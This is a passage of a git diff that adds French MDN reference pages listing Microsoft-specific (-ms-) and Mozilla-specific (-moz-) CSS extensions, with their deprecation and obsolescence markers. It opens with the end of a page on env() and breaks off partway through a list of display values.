+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("css.properties.custom-property.env")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{CSSxRef("var", "var(…)")}}</li>
+ <li><a href="/fr/docs/Web/CSS/CSS_Variables">Les propriétés personnalisées et la cascade</a></li>
+ <li><a href="/fr/docs/Web/CSS/--*">Les propriétés personnalisées (--*)</a></li>
+ <li><a href="/fr/docs/Web/CSS/Les_variables_CSS">Utiliser les propriétés CSS personnalisées</a></li>
+ <li>{{CSSxRef("@viewport/viewport-fit", "viewport-fit (@viewport)")}}</li>
+</ul>
diff --git a/files/fr/web/css/extensions_css_microsoft/index.html b/files/fr/web/css/extensions_css_microsoft/index.html
new file mode 100644
index 0000000000..017958249c
--- /dev/null
+++ b/files/fr/web/css/extensions_css_microsoft/index.html
@@ -0,0 +1,118 @@
+---
+title: Extensions CSS de Microsoft
+slug: Web/CSS/Extensions_CSS_Microsoft
+tags:
+  - CSS
+  - Non-standard
+  - Reference
+translation_of: Web/CSS/Microsoft_Extensions
+---
+<div>{{CSSRef}}</div>
+
+<p>Les applications Microsoft, telles que Edge ou Internet Explorer, prennent en charge différentes extensions à <strong><a href="/fr/docs/Web/CSS">CSS</a></strong>. Ces extensions sont préfixées par <code>-ms</code>.</p>
+
+<h2 id="Propriétés_spécifiques_à_Microsoft_(ne_pas_utiliser_sur_le_Web)">Propriétés spécifiques à Microsoft (ne pas utiliser sur le Web)</h2>
+
+<div class="note">
+<p><strong>Note :</strong> Ces propriétés et pseudo-classes ne fonctionneront que pour les applications Microsoft et ne sont pas en voie de standardisation.</p>
+</div>
+
+<div class="index">
+<ul>
+ <li>{{CSSxRef("-ms-accelerator")}}</li>
+ <li>{{CSSxRef("-ms-block-progression")}}</li>
+ <li>{{CSSxRef("-ms-content-zoom-chaining")}}</li>
+ <li>{{CSSxRef("-ms-content-zooming")}}</li>
+ <li>{{CSSxRef("-ms-content-zoom-limit")}}</li>
+ <li>{{CSSxRef("-ms-content-zoom-limit-max")}}</li>
+ <li>{{CSSxRef("-ms-content-zoom-limit-min")}}</li>
+ <li>{{CSSxRef("-ms-content-zoom-snap")}}</li>
+ <li>{{CSSxRef("-ms-content-zoom-snap-points")}}</li>
+ <li>{{CSSxRef("-ms-content-zoom-snap-type")}}</li>
+ <li>{{CSSxRef("-ms-filter")}} {{Obsolete_Inline}}</li>
+ <li>{{CSSxRef("-ms-flow-from")}}</li>
+ <li>{{CSSxRef("-ms-flow-into")}}</li>
+ <li>{{CSSxRef("-ms-high-contrast-adjust")}}</li>
+ <li>{{CSSxRef("-ms-hyphenate-limit-chars")}}</li>
+ <li>{{CSSxRef("-ms-hyphenate-limit-lines")}}</li>
+ <li>{{CSSxRef("-ms-hyphenate-limit-zone")}}</li>
+ <li>{{CSSxRef("-ms-ime-align")}}</li>
+ <li>{{CSSxRef("-ms-overflow-style")}}</li>
+ <li>{{CSSxRef("-ms-scrollbar-3dlight-color")}} {{Obsolete_Inline}}</li>
+ <li>{{CSSxRef("-ms-scrollbar-arrow-color")}} {{Obsolete_Inline}}</li>
+ <li>{{CSSxRef("-ms-scrollbar-base-color")}} {{Obsolete_Inline}}</li>
+ <li>{{CSSxRef("-ms-scrollbar-darkshadow-color")}} {{Obsolete_Inline}}</li>
+ <li>{{CSSxRef("-ms-scrollbar-face-color")}} {{Obsolete_Inline}}</li>
+ <li>{{CSSxRef("-ms-scrollbar-highlight-color")}} {{Obsolete_Inline}}</li>
+ <li>{{CSSxRef("-ms-scrollbar-shadow-color")}} {{Obsolete_Inline}}</li>
+ <li>{{CSSxRef("-ms-scrollbar-track-color")}} {{Obsolete_Inline}}</li>
+ <li>{{CSSxRef("-ms-scroll-chaining")}}</li>
+ <li>{{CSSxRef("-ms-scroll-limit")}}</li>
+ <li>{{CSSxRef("-ms-scroll-limit-x-max")}}</li>
+ <li>{{CSSxRef("-ms-scroll-limit-x-min")}}</li>
+ <li>{{CSSxRef("-ms-scroll-limit-y-max")}}</li>
+ <li>{{CSSxRef("-ms-scroll-limit-y-min")}}</li>
+ <li>{{CSSxRef("-ms-scroll-rails")}}</li>
+ <li>{{CSSxRef("-ms-scroll-snap-points-x")}}</li>
+ <li>{{CSSxRef("-ms-scroll-snap-points-y")}}</li>
+ <li>{{CSSxRef("-ms-scroll-snap-x")}}</li>
+ <li>{{CSSxRef("-ms-scroll-snap-y")}}</li>
+ <li>{{CSSxRef("-ms-scroll-translation")}}</li>
+ <li>{{CSSxRef("-ms-text-autospace")}}</li>
+ <li>{{CSSxRef("-ms-touch-select")}}</li>
+ <li>{{CSSxRef("-ms-wrap-flow")}}</li>
+ <li>{{CSSxRef("-ms-wrap-margin")}}</li>
+ <li>{{CSSxRef("-ms-wrap-through")}}</li>
+ <li>{{CSSxRef("zoom")}}</li>
+</ul>
+</div>
+
+<h2 id="Pseudo-éléments">Pseudo-éléments</h2>
+
+<div class="index">
+<ul>
+ <li>{{CSSxRef("::-ms-browse")}}</li>
+ <li>{{CSSxRef("::-ms-check")}}</li>
+ <li>{{CSSxRef("::-ms-clear")}}</li>
+ <li>{{CSSxRef("::-ms-expand")}}</li>
+ <li>{{CSSxRef("::-ms-fill")}}</li>
+ <li>{{CSSxRef("::-ms-fill-lower")}}</li>
+ <li>{{CSSxRef("::-ms-fill-upper")}}</li>
+ <li>{{CSSxRef("::-ms-reveal")}}</li>
+ <li>{{CSSxRef("::-ms-thumb")}}</li>
+ <li>{{CSSxRef("::-ms-ticks-after")}}</li>
+ <li>{{CSSxRef("::-ms-ticks-before")}}</li>
+ <li>{{CSSxRef("::-ms-tooltip")}}</li>
+ <li>{{CSSxRef("::-ms-track")}}</li>
+ <li>{{CSSxRef("::-ms-value")}}</li>
+</ul>
+</div>
+
+<h2 id="Caractéristiques_média">Caractéristiques média</h2>
+
+<div class="index">
+<ul>
+ <li>{{CSSxRef("@media/-ms-high-contrast","-ms-high-contrast")}}</li>
+</ul>
+</div>
+
+<h2 id="API_DOM_relatives_à_CSS">API DOM relatives à CSS</h2>
+
+<div class="index">
+<ul>
+ <li>{{DOMxRef("msContentZoomFactor")}}</li>
+ <li>{{DOMxRef("msGetPropertyEnabled")}}</li>
+ <li>{{DOMxRef("msGetRegionContent")}}</li>
+ <li>{{DOMxRef("MSRangeCollection")}}</li>
+ <li>{{DOMxRef("msRegionOverflow")}}</li>
+</ul>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/CSS/Extensions_Mozilla">Les extensions de Mozilla à CSS</a></li>
+ <li><a href="/fr/docs/Web/CSS/Reference/Extensions_WebKit">Les extensions de WebKit à CSS</a></li>
+ <li><a href="/fr/docs/Web/API/Microsoft_API_extensions">Les extensions de Microsoft aux API</a></li>
+ <li><a href="/fr/docs/Web/JavaScript/Microsoft_JavaScript_extensions">Les extensions de Microsoft à JavaScript</a></li>
+</ul>
diff --git a/files/fr/web/css/extensions_mozilla/index.html b/files/fr/web/css/extensions_mozilla/index.html
new file mode 100644
index 0000000000..3d9acbff04
--- /dev/null
+++ b/files/fr/web/css/extensions_mozilla/index.html
@@ -0,0 +1,678 @@
+---
+title: Extensions CSS de Mozilla
+slug: Web/CSS/Extensions_Mozilla
+tags:
+  - CSS
+  - Mozilla
+  - Non-standard
+  - Reference
+translation_of: Web/CSS/Mozilla_Extensions
+---
+<div>{{CSSRef}}</div>
+
+<p>Les applications Mozilla, telles que Firefox, prennent en charge un certain nombre d'extensions spécifiques à <a href="/fr/docs/Web/CSS">CSS</a> : des propriétés, des valeurs, des pseudo-éléments, des pseudo-classes, des règles @ et des requêtes média. Ces extensions utilisent le préfixe <code>-moz</code>.</p>
+
+<h2 id="Propriétés_et_pseudo-classes_spécifiques_à_Mozilla_(ne_pas_utiliser_sur_le_Web)">Propriétés et pseudo-classes spécifiques à Mozilla (ne pas utiliser sur le Web)</h2>
+
+<div class="note">
+<p><strong>Note :</strong> Ces propriétés et pseudo-classes ne fonctionneront que pour les applications Mozilla (Firefox par exemple) et ne sont pas en voie de standardisation. Certaines ne s'applique qu'aux éléments <a href="/fr/docs/Mozilla/Tech/XUL">XUL</a>.</p>
+</div>
+
+<div class="index">
+<h3 id="B">B</h3>
+
+<ul>
+ <li>{{CSSxRef("-moz-binding")}} {{Deprecated_Inline}}</li>
+ <li>{{CSSxRef("-moz-border-bottom-colors")}} {{Obsolete_Inline}}</li>
+ <li>{{CSSxRef("-moz-border-left-colors")}} {{Obsolete_Inline}}</li>
+ <li>{{CSSxRef("-moz-border-right-colors")}} {{Obsolete_Inline}}</li>
+ <li>{{CSSxRef("-moz-border-top-colors")}} {{Obsolete_Inline}}</li>
+ <li>{{CSSxRef("-moz-box-align")}}</li>
+ <li>{{CSSxRef("-moz-box-direction")}}</li>
+ <li>{{CSSxRef("-moz-box-flex")}}</li>
+ <li>{{CSSxRef("-moz-box-ordinal-group")}}</li>
+ <li>{{CSSxRef("-moz-box-orient")}}</li>
+ <li>{{CSSxRef("-moz-box-pack")}}</li>
+</ul>
+
+<h3 id="C_–_I">C – I</h3>
+
+<ul>
+ <li>{{CSSxRef("-moz-context-properties")}}</li>
+ <li>{{CSSxRef("-moz-float-edge")}}</li>
+ <li>{{CSSxRef("-moz-force-broken-image-icon")}}</li>
+ <li>{{CSSxRef("-moz-image-region")}}</li>
+</ul>
+
+<h3 id="O">O</h3>
+
+<ul>
+ <li>{{CSSxRef("-moz-orient")}}</li>
+ <li>{{CSSxRef("-moz-osx-font-smoothing")}}</li>
+ <li>{{CSSxRef("-moz-outline-radius")}}</li>
+ <li>{{CSSxRef("-moz-outline-radius-bottomleft")}}</li>
+ <li>{{CSSxRef("-moz-outline-radius-bottomright")}}</li>
+ <li>{{CSSxRef("-moz-outline-radius-topleft")}}</li>
+ <li>{{CSSxRef("-moz-outline-radius-topright")}}</li>
+ <li>{{CSSxRef("overflow-clip-box")}}</li>
+ <li>{{CSSxRef("overflow-clip-box-block")}}</li>
+ <li>{{CSSxRef("overflow-clip-box-inline")}}</li>
+</ul>
+
+<h3 id="S_–_Z">S – Z</h3>
+
+<ul>
+ <li>{{CSSxRef("-moz-stack-sizing")}}</li>
+ <li>{{CSSxRef(":-moz-system-metric(images-in-menus)")}} {{Obsolete_Inline}}{{gecko_minversion_inline("1.9")}}</li>
+ <li>{{CSSxRef(":-moz-system-metric(mac-graphite-theme)")}} {{Obsolete_Inline}}{{gecko_minversion_inline("1.9.1")}}</li>
+ <li>{{CSSxRef(":-moz-system-metric(scrollbar-end-backward)")}} {{Obsolete_Inline}}{{gecko_minversion_inline("1.9")}}</li>
+ <li>{{CSSxRef(":-moz-system-metric(scrollbar-end-forward)")}} {{Obsolete_Inline}}{{gecko_minversion_inline("1.9")}}</li>
+ <li>{{CSSxRef(":-moz-system-metric(scrollbar-start-backward)")}} {{Obsolete_Inline}}{{gecko_minversion_inline("1.9")}}</li>
+ <li>{{CSSxRef(":-moz-system-metric(scrollbar-start-forward)")}} {{Obsolete_Inline}}{{Fx_minversion_inline(3)}}</li>
+ <li>{{CSSxRef(":-moz-system-metric(scrollbar-thumb-proportional)")}} {{Obsolete_Inline}}{{gecko_minversion_inline("1.9")}}</li>
+ <li>{{CSSxRef(":-moz-system-metric(touch-enabled)")}} {{Obsolete_Inline}}{{gecko_minversion_inline("1.9.2")}}</li>
+ <li>{{CSSxRef(":-moz-system-metric(windows-default-theme)")}} {{Obsolete_Inline}}{{Fx_minversion_inline(3)}}</li>
+ <li>{{CSSxRef("-moz-user-focus")}}</li>
+ <li>{{CSSxRef("-moz-user-input")}}</li>
+ <li>{{CSSxRef("-moz-user-modify")}}</li>
+ <li>{{CSSxRef("-moz-window-dragging")}}</li>
+ <li>{{CSSxRef("-moz-window-shadow")}}</li>
+</ul>
+</div>
+
+<h2 id="Anciennes_propriétés_spécifiques_désormais_standardisées"><span class="highlight-span">Anciennes propriétés spécifiques, désormais standardisées</span></h2>
+
+<div class="note">
+<p><strong>Note :</strong> Afin d'obtenir la meilleure compatibilité possible, vous devriez utiliser les versions standards, non-préfixées, de ces propriétés plutôt que les versions spécifiques. Généralement, lorsqu'une propriété est standardisée et implémentée, la version préfixée est généralement abandonnée ensuite.</p>
+</div>
+
+<div class="index">
+<ul>
+ <li>
+  <h3 id="A">A</h3>
+ </li>
+ <li>{{CSSxRef("animation", "-moz-animation")}} {{Deprecated_Inline}} [Version préfixée toujours acceptée]</li>
+ <li>{{CSSxRef("animation-delay", "-moz-animation-delay")}} {{Deprecated_Inline}} [Version préfixée toujours acceptée]</li>
+ <li>{{CSSxRef("animation-direction", "-moz-animation-direction")}} {{Deprecated_Inline}} [Version préfixée toujours acceptée]</li>
+ <li>{{CSSxRef("animation-duration", "-moz-animation-duration")}} {{Deprecated_Inline}} [Version préfixée toujours acceptée]</li>
+ <li>{{CSSxRef("animation-fill-mode", "-moz-animation-fill-mode")}} {{Deprecated_Inline}} [Version préfixée toujours acceptée]</li>
+ <li>{{CSSxRef("animation-iteration-count", "-moz-animation-iteration-count")}} {{Deprecated_Inline}} [Version préfixée toujours acceptée]</li>
+ <li>{{CSSxRef("animation-name", "-moz-animation-name")}} {{Deprecated_Inline}} [Version préfixée toujours acceptée]</li>
+ <li>{{CSSxRef("animation-play-state", "-moz-animation-play-state")}} {{Deprecated_Inline}} [Version préfixée toujours acceptée]</li>
+ <li>{{CSSxRef("animation-timing-function","-moz-animation-timing-function")}} {{Deprecated_Inline}} [Version préfixée toujours acceptée]</li>
+ <li>{{CSSxRef("appearance","-moz-appearance")}} {{Experimental_Inline}}</li>
+ <li>
+  <h3 id="B_2">B</h3>
+ </li>
+ <li>{{CSSxRef("backface-visibility", "-moz-backface-visibility")}} {{Deprecated_Inline}} [Version préfixée toujours acceptée]</li>
+ <li>{{CSSxRef("background-clip", "-moz-background-clip")}}{{Obsolete_Inline(2)}}</li>
+ <li>{{CSSxRef("background-origin", "-moz-background-origin")}}{{Obsolete_Inline(2)}}</li>
+ <li>{{CSSxRef("-moz-background-inline-policy")}}{{Obsolete_Inline(32)}} [Remplacée par la version standard {{CSSxRef("box-decoration-break")}}]</li>
+ <li>{{CSSxRef("background-size", "-moz-background-size")}}{{Obsolete_Inline(2)}}</li>
+ <li>{{CSSxRef("border-inline-end","-moz-border-end")}} {{Deprecated_Inline}} [Remplacée par la version standard {{CSSxRef("border-inline-end")}}]</li>
+ <li>{{CSSxRef("border-inline-color","-moz-border-end-color")}} {{Deprecated_Inline}} [Remplacée par la version standard {{CSSxRef("border-inline-end-color")}}]</li>
+ <li>{{CSSxRef("border-inline-style","-moz-border-end-style")}} {{Deprecated_Inline}} [Remplacée par la version standard {{CSSxRef("border-inline-end-style")}}]</li>
+ <li>{{CSSxRef("border-inline-width","-moz-border-end-width")}} {{Deprecated_Inline}} [Remplacée par la version standard {{CSSxRef("border-inline-end-width")}}]</li>
+ <li>{{CSSxRef("border-image","-moz-border-image")}} {{Deprecated_Inline}}</li>
+ <li>{{CSSxRef("border-inline-start","-moz-border-start")}} {{Deprecated_Inline}} [Remplacée par la version standard {{CSSxRef("border-inline-start")}}]</li>
+ <li>{{CSSxRef("border-inline-start-color","-moz-border-start-color")}} {{Deprecated_Inline}} [Remplacée par la version standard {{CSSxRef("border-inline-start-color")}}]</li>
+ <li>{{CSSxRef("border-inline-start-style","-moz-border-start-style")}} {{Deprecated_Inline}} [Remplacée par la version standard {{CSSxRef("border-inline-start-style")}}]</li>
+ <li>{{CSSxRef("border-inline-start-width","-moz-border-start-width")}} {{Deprecated_Inline}} [Remplacée par la version standard {{CSSxRef("border-inline-start-width")}}]</li>
+ <li>{{CSSxRef("box-sizing", "-moz-box-sizing")}} {{Deprecated_Inline}} [Version préfixée toujours acceptée]</li>
+ <li>
+  <h3 id="C">C</h3>
+ </li>
+ <li>{{CSSxRef("clip-path")}} {{Experimental_Inline}} [Applying to more than SVG]</li>
+ <li>{{CSSxRef("column-count","-moz-column-count")}} {{Deprecated_Inline}} [Version préfixée toujours acceptée]</li>
+ <li>{{CSSxRef("column-fill","-moz-column-fill")}} {{Deprecated_Inline}} [Version préfixée toujours acceptée]</li>
+ <li>{{CSSxRef("column-gap","-moz-column-gap")}} {{Deprecated_Inline}} [Version préfixée toujours acceptée]</li>
+ <li>{{CSSxRef("column-width","-moz-column-width")}} {{Deprecated_Inline}} [Version préfixée toujours acceptée]</li>
+ <li>{{CSSxRef("column-rule","-moz-column-rule")}} {{Deprecated_Inline}} [Version préfixée toujours acceptée]</li>
+ <li>{{CSSxRef("column-rule-width","-moz-column-rule-width")}} {{Deprecated_Inline}} [Version préfixée toujours acceptée]</li>
+ <li>{{CSSxRef("column-rule-style","-moz-column-rule-style")}} {{Deprecated_Inline}} [Version préfixée toujours acceptée]</li>
+ <li>{{CSSxRef("column-rule-color","-moz-column-rule-color")}} {{Deprecated_Inline}} [Version préfixée toujours acceptée]</li>
+ <li>{{CSSxRef("-moz-context-properties")}} {{Experimental_Inline}}</li>
+ <li>
+  <h3 id="F_–_M">F – M</h3>
+ </li>
+ <li>{{CSSxRef("filter")}} {{Experimental_Inline}} [Applying to more than SVG]</li>
+ <li>{{CSSxRef("font-feature-settings","-moz-font-feature-settings")}} {{Deprecated_Inline}} [Version préfixée toujours acceptée]</li>
+ <li>{{CSSxRef("font-language-override","-moz-font-language-override")}} {{Deprecated_Inline}} [Version préfixée toujours acceptée]</li>
+ <li>{{CSSxRef("hyphens","-moz-hyphens")}} {{Deprecated_Inline}} [Version préfixée toujours acceptée]</li>
+ <li>{{CSSxRef("margin-inline-end","-moz-margin-end")}} {{Deprecated_Inline}} [Remplacée par la version standard {{CSSxRef("margin-inline-end")}}]</li>
+ <li>{{CSSxRef("margin-inline-start","-moz-margin-start")}} {{Deprecated_Inline}} [Remplacée par la version standard {{CSSxRef("margin-inline-start")}}]</li>
+ <li>{{CSSxRef("mask")}} {{Experimental_Inline}} [Applying to more than SVG]</li>
+ <li>
+  <h3 id="O_2">O</h3>
+ </li>
+ <li>{{CSSxRef("opacity","-moz-opacity")}}{{Obsolete_Inline("1.9.1")}}</li>
+ <li>{{CSSxRef("outline","-moz-outline")}}{{Obsolete_Inline("1.9.2")}}</li>
+ <li>{{CSSxRef("outline-color","-moz-outline-color")}}{{Obsolete_Inline("1.9.2")}}</li>
+ <li>{{CSSxRef("outline-offset","-moz-outline-offset")}}{{Obsolete_Inline("1.9.2")}}</li>
+ <li>{{CSSxRef("outline-style","-moz-outline-style")}}{{Obsolete_Inline("1.9.2")}}</li>
+ <li>{{CSSxRef("outline-width","-moz-outline-width")}}{{Obsolete_Inline("1.9.2")}}</li>
+ <li>
+  <h3 id="P">P</h3>
+ </li>
+ <li>{{CSSxRef("padding-inline-end","-moz-padding-end")}} {{Deprecated_Inline}} [Remplacée par la version standard {{CSSxRef("padding-inline-start")}}]</li>
+ <li>{{CSSxRef("padding-inline-start","-moz-padding-start")}} {{Deprecated_Inline}} [Remplacée par la version standard {{CSSxRef("padding-inline-end")}}]</li>
+ <li>{{CSSxRef("perspective", "-moz-perspective")}} {{Deprecated_Inline}} [Version préfixée toujours acceptée]</li>
+ <li>{{CSSxRef("perspective-origin","-moz-perspective-origin")}} {{Deprecated_Inline}} [Version préfixée toujours acceptée]</li>
+ <li>{{CSSxRef("pointer-events")}} {{Experimental_Inline}} [Applying to more than SVG]</li>
+ <li>
+  <h3 id="T_–_U">T – U</h3>
+ </li>
+ <li>{{CSSxRef("tab-size","-moz-tab-size")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef("text-align-last","-moz-text-align-last")}}{{Obsolete_Inline("53")}}</li>
+ <li>{{CSSxRef("text-decoration-color","-moz-text-decoration-color")}}{{Obsolete_Inline("39")}}</li>
+ <li>{{CSSxRef("text-decoration-line","-moz-text-decoration-line")}}{{Obsolete_Inline("39")}}</li>
+ <li>{{CSSxRef("text-decoration-style","-moz-text-decoration-style")}}{{Obsolete_Inline("39")}}</li>
+ <li>{{CSSxRef("text-size-adjust","-moz-text-size-adjust")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef("transform", "-moz-transform")}} {{Deprecated_Inline}} [Version préfixée toujours acceptée]</li>
+ <li>{{CSSxRef("transform-origin", "-moz-transform-origin")}} {{Deprecated_Inline}} [Version préfixée toujours acceptée]</li>
+ <li>{{CSSxRef("transform-style", "-moz-transform-style")}} {{Deprecated_Inline}} [Version préfixée toujours acceptée]</li>
+ <li>{{CSSxRef("transition", "-moz-transition")}} {{Deprecated_Inline}} [Version préfixée toujours acceptée]</li>
+ <li>{{CSSxRef("transition-delay", "-moz-transition-delay")}} {{Deprecated_Inline}} [Version préfixée toujours acceptée]</li>
+ <li>{{CSSxRef("transition-duration", "-moz-transition-duration")}} {{Deprecated_Inline}} [Version préfixée toujours acceptée]</li>
+ <li>{{CSSxRef("transition-property", "-moz-transition-property")}} {{Deprecated_Inline}} [Version préfixée toujours acceptée]</li>
+ <li>{{CSSxRef("transition-timing-function", "-moz-transition-timing-function")}} {{Deprecated_Inline}} [Version préfixée toujours acceptée]</li>
+ <li>{{CSSxRef("user-select","-moz-user-select")}} {{Experimental_Inline}}</li>
+</ul>
+</div>
+
+<h2 id="Valeurs">Valeurs</h2>
+
+<h3 id="Valeurs_globales">Valeurs globales</h3>
+
+<div class="index">
+<ul>
+ <li>{{cssxref("initial","-moz-initial")}}</li>
+</ul>
+</div>
+
+<h3 id="Cssxref(-moz-appearance)">{{Cssxref("-moz-appearance")}}</h3>
+
+<div class="index">
+<ul>
+ <li><code>button</code></li>
+ <li><code>button-arrow-down</code></li>
+ <li><code>button-arrow-next</code></li>
+ <li><code>button-arrow-previous</code></li>
+ <li><code>button-arrow-up</code></li>
+ <li><code>button-bevel</code></li>
+ <li><code>checkbox</code></li>
+ <li><code>checkbox-container</code></li>
+ <li><code>checkbox-label</code></li>
+ <li><code>checkmenuitem</code></li>
+ <li><code>dialog</code></li>
+ <li><code>groupbox</code></li>
+ <li><code>listbox</code></li>
+ <li><code>menuarrow</code></li>
+ <li><code>menucheckbox</code></li>
+ <li><code>menuimage</code></li>
+ <li><code>menuitem</code></li>
+ <li><code>menuitemtext</code></li>
+ <li><code>menulist</code></li>
+ <li><code>menulist-button</code></li>
+ <li><code>menulist-text</code></li>
+ <li><code>menulist-textfield</code></li>
+ <li><code>menupopup</code></li>
+ <li><code>menuradio</code></li>
+ <li><code>menuseparator</code></li>
+ <li><code>-moz-mac-unified-toolbar</code>{{Fx_minversion_inline(3.5)}}</li>
+ <li><code>-moz-win-borderless-glass</code></li>
+ <li><code>-moz-win-browsertabbar-toolbox</code>{{Fx_minversion_inline(3)}}</li>
+ <li><code>-moz-win-communications-toolbox</code>{{Fx_minversion_inline(3)}}</li>
+ <li><code>-moz-win-glass</code></li>
+ <li><code>-moz-win-media-toolbox</code>{{Fx_minversion_inline(3)}}</li>
+ <li><code>-moz-window-button-box</code></li>
+ <li><code>-moz-window-button-box-maximized</code></li>
+ <li><code>-moz-window-button-close</code></li>
+ <li><code>-moz-window-button-maximize</code></li>
+ <li><code>-moz-window-button-minimize</code></li>
+ <li><code>-moz-window-button-restore</code></li>
+ <li><code>-moz-window-titlebar</code></li>
+ <li><code>-moz-window-titlebar-maximized</code></li>
+ <li><code>progressbar</code></li>
+ <li><code>progresschunk</code></li>
+ <li><code>radio</code></li>
+ <li><code>radio-container</code></li>
+ <li><code>radio-label</code></li>
+ <li><code>radiomenuitem</code></li>
+ <li><code>resizer</code></li>
+ <li><code>resizerpanel</code></li>
+ <li><code>scale-horizontal</code></li>
+ <li><code>scalethumb-horizontal</code></li>
+ <li><code>scalethumb-vertical</code></li>
+ <li><code>scale-vertical</code></li>
+ <li><code>scrollbarbutton-down</code></li>
+ <li><code>scrollbarbutton-left</code></li>
+ <li><code>scrollbarbutton-right</code></li>
+ <li><code>scrollbarbutton-up</code></li>
+ <li><code>scrollbar-small</code></li>
+ <li><code>scrollbarthumb-horizontal</code></li>
+ <li><code>scrollbarthumb-vertical</code></li>
+ <li><code>scrollbartrack-horizontal</code></li>
+ <li><code>scrollbartrack-vertical</code></li>
+ <li><code>separator</code></li>
+ <li><code>spinner</code></li>
+ <li><code>spinner-downbutton</code></li>
+ <li><code>spinner-textfield</code></li>
+ <li><code>spinner-upbutton</code></li>
+ <li><code>statusbar</code></li>
+ <li><code>statusbarpanel</code></li>
+ <li><code>tab</code></li>
+ <li><code>tabpanels</code></li>
+ <li><code>tab-scroll-arrow-back</code></li>
+ <li><code>tab-scroll-arrow-forward</code></li>
+ <li><code>textfield</code></li>
+ <li><code>textfield-multiline</code></li>
+ <li><code>toolbar</code></li>
+ <li><code>toolbarbutton-dropdown</code></li>
+ <li><code>toolbox</code></li>
+ <li><code>tooltip</code></li>
+ <li><code>treeheadercell</code></li>
+ <li><code>treeheadersortarrow</code></li>
+ <li><code>treeitem</code></li>
+ <li><code>treetwisty</code></li>
+ <li><code>treetwistyopen</code></li>
+ <li><code>treeview</code></li>
+ <li><code>window</code></li>
+</ul>
+</div>
+
+<h3 id="cssxref(background-image)">{{cssxref("background-image")}}</h3>
+
+<div class="index">
+<ul>
+ <li>
+  <h4 id="Dégradés_Gecko_minversion_inline(1.9.2)">Dégradés {{Gecko_minversion_inline("1.9.2")}}</h4>
+
+  <ul>
+   <li>{{CSSxRef("linear-gradient","-moz-linear-gradient")}} {{Deprecated_Inline}}</li>
+   <li>{{CSSxRef("radial-gradient","-moz-radial-gradient")}} {{Deprecated_Inline}}</li>
+  </ul>
+ </li>
+ <li>
+  <h4 id="Éléments_gecko_minversion_inline(2.0)">Éléments {{gecko_minversion_inline("2.0")}}</h4>
+
+  <ul>
+   <li>{{cssxref("-moz-element")}}</li>
+  </ul>
+ </li>
+ <li>
+  <h4 id="Sub-images_gecko_minversion_inline(2.0)">Sub-images {{gecko_minversion_inline("2.0")}}</h4>
+
+  <ul>
+   <li>{{cssxref("-moz-image-rect")}}</li>
+  </ul>
+ </li>
+</ul>
+</div>
+
+<h3 id="Cssxref(border-color)">{{Cssxref("border-color")}}</h3>
+
+<div class="index">
+<ul>
+ <li><code>-moz-use-text-color</code> {{obsolete_inline}} retiré de Gecko (cf. {{bug(1306214)}}) ; <a href="/fr/docs/Web/CSS/color_value#currentColor_keyword">currentcolor</a> doit être utilisée à la place.</li>
+</ul>
+</div>
+
+<h3 id="Cssxref(border-style)_et_Cssxref(outline-style)">{{Cssxref("border-style")}} et {{Cssxref("outline-style")}}</h3>
+
+<div class="index">
+<ul>
+ <li><code>-moz-bg-inset</code>{{Obsolete_Inline(1.9)}}</li>
+ <li><code>-moz-bg-outset</code>{{Obsolete_Inline(1.9)}}</li>
+ <li><code>-moz-bg-solid</code>{{Obsolete_Inline(1.9)}}</li>
+</ul>
+</div>
+
+<h3 id="Mots-clés_pour_cssxref(&lt;color>)">Mots-clés pour {{cssxref("&lt;color&gt;")}}</h3>
+
+<div class="index">
+<ul>
+ <li><code>-moz-activehyperlinktext</code></li>
+ <li><code>-moz-hyperlinktext</code></li>
+ <li><code>-moz-visitedhyperlinktext</code></li>
+ <li><code>-moz-buttondefault</code></li>
+ <li><code>-moz-buttonhoverface</code></li>
+ <li><code>-moz-buttonhovertext</code></li>
+ <li><code>-moz-default-background-color</code>{{Gecko_minversion_inline("5.0")}}</li>
+ <li><code>-moz-default-color</code>{{Gecko_minversion_inline("5.0")}}</li>
+ <li><code>-moz-cellhighlight</code></li>
+ <li><code>-moz-cellhighlighttext</code></li>
+ <li><code>-moz-field</code></li>
+ <li><code>-moz-fieldtext</code></li>
+ <li><code>-moz-dialog</code></li>
+ <li><code>-moz-dialogtext</code></li>
+ <li><code>-moz-dragtargetzone</code></li>
+ <li><code>-moz-mac-accentdarkestshadow</code></li>
+ <li><code>-moz-mac-accentdarkshadow</code></li>
+ <li><code>-moz-mac-accentface</code></li>
+ <li><code>-moz-mac-accentlightesthighlight</code></li>
+ <li><code>-moz-mac-accentlightshadow</code></li>
+ <li><code>-moz-mac-accentregularhighlight</code></li>
+ <li><code>-moz-mac-accentregularshadow</code></li>
+ <li><code>-moz-mac-chrome-active</code>{{Gecko_minversion_inline("1.9.1")}}</li>
+ <li><code>-moz-mac-chrome-inactive</code>{{Gecko_minversion_inline("1.9.1")}}</li>
+ <li><code>-moz-mac-focusring</code></li>
+ <li><code>-moz-mac-menuselect</code></li>
+ <li><code>-moz-mac-menushadow</code></li>
+ <li><code>-moz-mac-menutextselect</code></li>
+ <li><code>-moz-menuhover</code></li>
+ <li><code>-moz-menuhovertext</code></li>
+ <li><code>-moz-win-communicationstext</code>{{Fx_minversion_inline(3)}}</li>
+ <li><code>-moz-win-mediatext</code>{{gecko_minversion_inline(1.9)}}</li>
+ <li><code>-moz-nativehyperlinktext</code>{{Gecko_minversion_inline("1.9.1")}}</li>
+</ul>
+</div>
+
+<h3 id="Cssxref(display)">{{Cssxref("display")}}</h3>
+
+<div class="index">
+<ul>
+ <li><code>-moz-box</code> {{Deprecated_Inline}}</li>
+ <li><code>-moz-inline-block</code> {{Obsolete_Inline}}</li>
+ <li><code>-moz-inline-box</code> {{Deprecated_Inline}}</li>
+ <li><code>-moz-inline-grid</code>{{Obsolete_Inline(62)}}</li>
+ <li><code>-moz-inline-stack</code>{{Obsolete_Inline(62)}}</li>
+ <li><code>-moz-inline-table</code> {{Obsolete_Inline}}</li>
+ <li><code>-moz-grid</code>{{Obsolete_Inline(62)}}</li>
